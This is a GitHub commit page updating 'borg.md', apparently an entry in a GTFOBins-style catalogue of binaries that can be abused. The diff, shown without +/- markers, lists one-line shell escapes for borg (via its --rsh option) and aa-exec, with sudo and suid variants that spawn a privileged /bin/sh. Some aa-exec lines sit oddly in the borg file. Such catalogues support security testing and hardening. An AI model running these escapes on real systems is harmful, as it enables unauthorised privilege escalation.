Update borg.md

This commit is contained in:
JM Sanchez 2024-08-19 00:09:34 +08:00 committed by GitHub
parent 87270f9b55
commit 02909240b5
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -1,7 +1,9 @@
---
functions:
shell:
- code: borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
- code: aa-exec /bin/sh
suid:
- code: ./aa-exec /bin/sh -p
sudo:
- code: sudo borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"
- code: sudo aa-exec /bin/sh
---